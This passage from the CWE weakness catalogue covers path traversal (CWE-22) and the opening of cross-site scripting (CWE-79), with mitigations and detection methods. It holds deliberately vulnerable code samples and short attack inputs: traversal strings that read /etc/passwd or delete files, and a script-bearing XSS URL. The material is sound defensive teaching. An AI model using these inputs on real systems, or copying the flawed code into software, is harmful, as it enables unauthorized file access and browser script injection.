print "<li>$_</li>\n";
}
print "</ul>\n";

While the programmer intends to access files such as "/users/cwe/profiles/alice" or "/users/cwe/profiles/bob", there is no verification of the incoming user parameter. An attacker could provide a string such as:

(attack code)
 
../../../etc/passwd

The program would generate a profile pathname like this:

(result)
 
/users/cwe/profiles/../../../etc/passwd

When the file is opened, the operating system resolves the "../" during path canonicalization and actually accesses this file:

(result)
 
/etc/passwd

As a result, the attacker could read the entire text of the password file.

Notice how this code also contains an error message information leak (CWE-209) if the user parameter does not produce a file that exists: the full pathname is provided. Because of the lack of output encoding of the file that is retrieved, there might also be a cross-site scripting problem (CWE-79) if profile contains any HTML, but other code would need to be examined.

Example 2

In the example below, the path to a dictionary file is read from a system property and used to initialize a File object.

(bad code)
Example Language: Java 
String filename = System.getProperty("com.domain.application.dictionaryFile");
File dictionaryFile = new File(filename);

However, the path is not validated or modified to prevent it from containing relative or absolute path sequences before creating the File object. This allows anyone who can control the system property to determine what file is used. Ideally, the path should be resolved relative to some kind of application or user home directory.

Example 3

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

(bad code)
Example Language: Perl 
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

(attack code)
 
../../../etc/passwd

will have the first "../" stripped, resulting in:

(result)
 
../../etc/passwd

This value is then concatenated with the /home/user/ directory:

(result)
 
/home/user/../../etc/passwd

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

Example 4

The following code attempts to validate a given input path by checking it against a whitelist and once validated delete the given file. In this specific case, the path is considered valid if it starts with the string "/safe_dir/".

(bad code)
Example Language: Java 
String path = getInputPath();
if (path.startsWith("/safe_dir/"))
{
File f = new File(path);
f.delete()
}

An attacker could provide an input such as this:

(attack code)
 
/safe_dir/../important.dat

The software assumes that the path is valid because it starts with the "/safe_path/" sequence, but the "../" sequence will cause the program to delete the important.dat file in the parent directory

Example 5

The following code demonstrates the unrestricted upload of a file with a Java servlet and a path traversal vulnerability. The HTML code is the same as in the previous example with the action attribute of the form sending the upload file request to the Java servlet instead of the PHP code.

(good code)
Example Language: HTML 
<form action="FileUploadServlet" method="post" enctype="multipart/form-data">

Choose a file to upload:

<input type="file" name="filename"/>
<br/>
<input type="submit" name="submit" value="Submit"/>

</form>

When submitted the Java servlet's doPost method will receive the request, extract the name of the file from the Http request header, read the file contents from the request and output the file to the local upload directory.

(bad code)
Example Language: Java 
public class FileUploadServlet extends HttpServlet {

...

protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
response.setContentType("text/html");
PrintWriter out = response.getWriter();
String contentType = request.getContentType();

// the starting position of the boundary header
int ind = contentType.indexOf("boundary=");
String boundary = contentType.substring(ind+9);

String pLine = new String();
String uploadLocation = new String(UPLOAD_DIRECTORY_STRING); //Constant value

// verify that content type is multipart form data
if (contentType != null && contentType.indexOf("multipart/form-data") != -1) {

// extract the filename from the Http header
BufferedReader br = new BufferedReader(new InputStreamReader(request.getInputStream()));
...
pLine = br.readLine();
String filename = pLine.substring(pLine.lastIndexOf("\\"), pLine.lastIndexOf("\""));
...

// output the file to the local upload directory
try {
BufferedWriter bw = new BufferedWriter(new FileWriter(uploadLocation+filename, true));
for (String line; (line=br.readLine())!=null; ) {
if (line.indexOf(boundary) == -1) {
bw.write(line);
bw.newLine();
bw.flush();
}
} //end of for loop
bw.close();
} catch (IOException ex) {...}

// output successful upload response HTML page

}
// output unsuccessful upload response HTML page
else
{...}
}

...
}

This code does not check the filename that is provided in the header, so an attacker can use "../" sequences to write to files outside of the intended directory. Depending on the executing environment, the attacker may be able to specify arbitrary files to write to, leading to a wide variety of consequences, from code execution, XSS (CWE-79), or system crash.

Also, this code does not perform a check on the type of the file being uploaded. This could allow an attacker to upload any executable file or other file with malicious code (CWE-434).

+ Observed Examples
ReferenceDescription
Newsletter module allows reading arbitrary files using "../" sequences.
FTP server allows deletion of arbitrary files using ".." in the DELE command.
FTP server allows creation of arbitrary directories using ".." in the MKD command.
OBEX FTP service for a Bluetooth device allows listing of directories, and creation or reading of files using ".." sequences.
Software package maintenance program allows overwriting arbitrary files using "../" sequences.
Bulletin board allows attackers to determine the existence of files using the avatar.
PHP program allows arbitrary code execution using ".." in filenames that are fed to the include() function.
Overwrite of files using a .. in a Torrent file.
Chat program allows overwriting files using a custom smiley request.
Chain: external control of values for user's desired language and theme enables path traversal.
Chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:

  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Phase: Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness: Moderate

Note: An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.

Phases: Architecture and Design; Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

Effectiveness: Limited

Note: The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

Phases: Architecture and Design; Operation

Strategy: Attack Surface Reduction

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

Phase: Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.

Phases: Operation; Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated techniques can find areas where path traversal weaknesses exist. However, tuning or customization may be required to remove or de-prioritize path-traversal problems that are only exploitable by the software's administrator - or other privileged users - and thus potentially valid behavior or, at worst, a bug instead of a vulnerability.

Effectiveness: High

Manual Static Analysis

Manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all file access operations can be assessed within limited time constraints.

Effectiveness: High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Fuzz Tester
  • Framework-based Fuzzer

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Functional Areas
  • File Processing
+ Affected Resources
  • File or Directory
+ Memberships
This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.21Pathname Traversal and Equivalence Errors
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.715OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding (2008 Version) Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8022010 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.813OWASP Top Ten 2010 Category A4 - Insecure Direct Object References
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8652011 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.932OWASP Top Ten 2013 Category A4 - Insecure Direct Object References
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1031OWASP Top Ten 2017 Category A5 - Broken Access Control
+ Notes

Relationship

Pathname equivalence can be regarded as a type of canonicalization error.

Relationship

Some pathname equivalence issues are not directly related to directory traversal, rather are used to bypass security-relevant checks for whether a file/directory can be accessed by the attacker (e.g. a trailing "/" on a filename could bypass access rules that don't expect a trailing /, causing a server to provide the file when it normally would not).

Research Gap

Many variants of path traversal attacks are probably under-studied with respect to root cause. CWE-790 and CWE-182 begin to cover part of this gap.

Research Gap

Incomplete diagnosis or reporting of vulnerabilities can make it difficult to know which variant is affected. For example, a researcher might say that "..\" is vulnerable, but not test "../" which may also be vulnerable.

Any combination of directory separators ("/", "\", etc.) and numbers of "." (e.g. "....") can produce unique variants; for example, the "//../" variant is not listed (CVE-2004-0325). See this entry's children and lower-level descendants.

Terminology

Like other weaknesses, terminology is often based on the types of manipulations used, instead of the underlying weaknesses. Some people use "directory traversal" only to refer to the injection of ".." and equivalent sequences whose specific meaning is to traverse directories.

Other variants like "absolute pathname" and "drive letter" have the *effect* of directory traversal, but some people may not call it such, since it doesn't involve ".." or equivalent.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERPath Traversal
OWASP Top Ten 2007A4CWE More SpecificInsecure Direct Object Reference
OWASP Top Ten 2004A2CWE More SpecificBroken Access Control
CERT C Secure CodingFIO02-CCanonicalize path names originating from untrusted sources
CERT Perl Secure CodingIDS00-PLExactCanonicalize path names before validating them
WASC33Path Traversal
Software Fault PatternsSFP16Path Traversal
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 11, "Directory Traversal and Using Parent Paths (..)" Page 370. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-45] OWASP. "OWASP Enterprise Security API (ESAPI) Project". <http://www.owasp.org/index.php/ESAPI>.
[REF-185] OWASP. "Testing for Path Traversal (OWASP-AZ-001)". <http://www.owasp.org/index.php/Testing_for_Path_Traversal_(OWASP-AZ-001)>.
[REF-186] Johannes Ullrich. "Top 25 Series - Rank 7 - Path Traversal". SANS Software Security Institute. 2010-03-09. <http://blogs.sans.org/appsecstreetfighter/2010/03/09/top-25-series-rank-7-path-traversal/>.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Filenames and Paths", Page 503. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganization
PLOVER
Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Relationships, Other_Notes, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Description
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, References, Related_Attack_Patterns, Relationship_Notes, Relationships, Research_Gaps, Taxonomy_Mappings, Terminology_Notes, Time_of_Introduction, Weakness_Ordinalities
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Description, Detection_Factors, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Observed_Examples
2013-07-17CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2014-06-23CWE Content TeamMITRE
updated Other_Notes, Research_Gaps
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-05-03CWE Content TeamMITRE
updated Demonstrative_Examples
2017-11-08CWE Content TeamMITRE
updated Affected_Resources, Causal_Nature, Likelihood_of_Exploit, References, Relationships, Relevant_Properties, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References, Relationships
Previous Entry Names
Change DatePrevious Entry Name
2010-02-16Path Traversal

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Weakness ID: 79
Abstraction: Base
Structure: Simple
Status: Usable
Presentation Filter:
+ Description
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
+ Extended Description

Cross-site scripting (XSS) vulnerabilities occur when:

  • 1. Untrusted data enters a web application, typically from a web request.
  • 2. The web application dynamically generates a web page that contains this untrusted data.
  • 3. During page generation, the application does not prevent the data from containing content that is executable by a web browser, such as JavaScript, HTML tags, HTML attributes, mouse events, Flash, ActiveX, etc.
  • 4. A victim visits the generated web page through a web browser, which contains malicious script that was injected using the untrusted data.
  • 5. Since the script comes from a web page that was sent by the web server, the victim's web browser executes the malicious script in the context of the web server's domain.
  • 6. This effectively violates the intention of the web browser's same-origin policy, which states that scripts in one domain should not be able to access resources or run code in a different domain.

There are three main kinds of XSS:

  • Type 1: Reflected XSS (or Non-Persistent) - The server reads data directly from the HTTP request and reflects it back in the HTTP response. Reflected XSS exploits occur when an attacker causes a victim to supply dangerous content to a vulnerable web application, which is then reflected back to the victim and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or e-mailed directly to the victim. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces a victim to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the victim, the content is executed by the victim's browser.
  • Type 2: Stored XSS (or Persistent) - The application stores dangerous data in a database, message forum, visitor log, or other trusted data store. At a later time, the dangerous data is subsequently read back into the application and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user. For example, the attacker might inject XSS into a log message, which might not be handled properly when an administrator views the logs.
  • Type 0: DOM-Based XSS - In DOM-based XSS, the client performs the injection of XSS into the page; in the other types, the server performs the injection. DOM-based XSS generally involves server-controlled, trusted script that is sent to the client, such as Javascript that performs sanity checks on a form before the user submits it. If the server-supplied script processes user-supplied data and then injects it back into the web page (such as with dynamic HTML), then DOM-based XSS is possible.

Once the malicious script is injected, the attacker can perform a variety of malicious activities. The attacker could transfer private information, such as cookies that may include session information, from the victim's machine to the attacker. The attacker could send malicious requests to a web site on behalf of the victim, which could be especially dangerous to the site if the victim has administrator privileges to manage that site. Phishing attacks could be used to emulate trusted web sites and trick the victim into entering a password, allowing the attacker to compromise the victim's account on that web site. Finally, the script could exploit a vulnerability in the web browser itself possibly taking over the victim's machine, sometimes referred to as "drive-by hacking."

In many cases, the attack can be launched without the victim even being aware of it. Even with careful users, attackers frequently use a variety of methods to encode the malicious portion of the attack, such as URL encoding or Unicode, so the request looks less suspicious.

+ Alternate Terms
XSS:
"XSS" is a common abbreviation for Cross-Site Scripting.
HTML Injection:
"HTML injection" is used as a synonym of stored (Type 2) XSS.
CSS:
In the early years after initial discovery of XSS, "CSS" was a commonly-used acronym. However, this would cause confusion with "Cascading Style Sheets," so usage of this acronym has declined significantly.
+ Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.80Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.81Improper Neutralization of Script in an Error Message Web Page
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.83Improper Neutralization of Script in Attributes in a Web Page
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.84Improper Neutralization of Encoded URI Schemes in a Web Page
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.85Doubled Character XSS Manipulations
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.86Improper Neutralization of Invalid Characters in Identifiers in Web Pages
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.87Improper Neutralization of Alternate XSS Syntax
ParentOfChainChain - a Compound Element that is a sequence of two or more separate weaknesses that can be closely linked together within software. One weakness, X, can directly create the conditions that are necessary to cause another weakness, Y, to enter a vulnerable condition. When this happens, CWE refers to X as "primary" to Y, and Y is "resultant" from X. Chains can involve more than two weaknesses, and in some cases, they might have a tree-like structure.692Incomplete Blacklist to Cross-Site Scripting
PeerOfCompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.352Cross-Site Request Forgery (CSRF)
PeerOfBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.494Download of Code Without Integrity Check
CanFollowBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.113Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')
CanFollowBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.184Incomplete Blacklist
CanPrecedeBaseBase - a weakness that is described in an abstract fashion, but with sufficient details to infer specific methods for detection and prevention. More general than a Variant weakness, but more specific than a Class weakness.494Download of Code Without Integrity Check
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Relevant to the view "Development Concepts" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.442Web Problems
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More general than a Base weakness.74Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.80Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.81Improper Neutralization of Script in an Error Message Web Page
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.83Improper Neutralization of Script in Attributes in a Web Page
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.84Improper Neutralization of Encoded URI Schemes in a Web Page
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.85Doubled Character XSS Manipulations
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.86Improper Neutralization of Invalid Characters in Identifiers in Web Pages
ParentOfVariantVariant - a weakness that is described at a very low level of detail, typically limited to a specific language or technology. More specific than a Base weakness.87Improper Neutralization of Alternate XSS Syntax
+ Background Details
Same Origin Policy

The same origin policy states that browsers should limit the resources accessible to scripts running on a given web site, or "origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or "origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.

Domain

The Domain of a website when referring to XSS is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.

+ Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the software life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
The listings below show possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Language-Independent (Undetermined Prevalence)

Paradigms

Web Based (Often Prevalent)

Technologies

Web Server (Often Prevalent)

+ Common Consequences

The table below specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

ScopeImpactLikelihood
Access Control
Confidentiality

Technical Impact: Bypass Protection Mechanism; Read Application Data

The most common attack performed with cross-site scripting involves the disclosure of information stored in user cookies. Typically, a malicious user will craft a client-side script, which -- when parsed by a web browser -- performs some activity (such as sending all site cookies to a given E-mail address). This script will be loaded and run by each user visiting the web site. Since the site requesting to run the script has access to the cookies in question, the malicious script does also.
Integrity
Confidentiality
Availability

Technical Impact: Execute Unauthorized Code or Commands

In some circumstances it may be possible to run arbitrary code on a victim's computer when cross-site scripting is combined with other flaws.
Confidentiality
Integrity
Availability
Access Control

Technical Impact: Execute Unauthorized Code or Commands; Bypass Protection Mechanism; Read Application Data

The consequence of an XSS attack is the same regardless of whether it is stored or reflected. The difference is in how the payload arrives at the server. XSS can cause a variety of problems for the end user that range in severity from an annoyance to complete account compromise. Some cross-site scripting vulnerabilities can be exploited to manipulate or steal cookies, create requests that can be mistaken for those of a valid user, compromise confidential information, or execute malicious code on the end user systems for a variety of nefarious purposes. Other damaging attacks include the disclosure of end user files, installation of Trojan horse programs, redirecting the user to some other page or site, running "Active X" controls (under Microsoft Internet Explorer) from sites that a user perceives as trustworthy, and modifying presentation of content.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

This code displays a welcome message on a web page based on the HTTP GET username parameter. This example covers a Reflected XSS (Type 1) scenario.

(bad code)
Example Language: PHP 
$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>';

Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as

(attack code)
 
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>

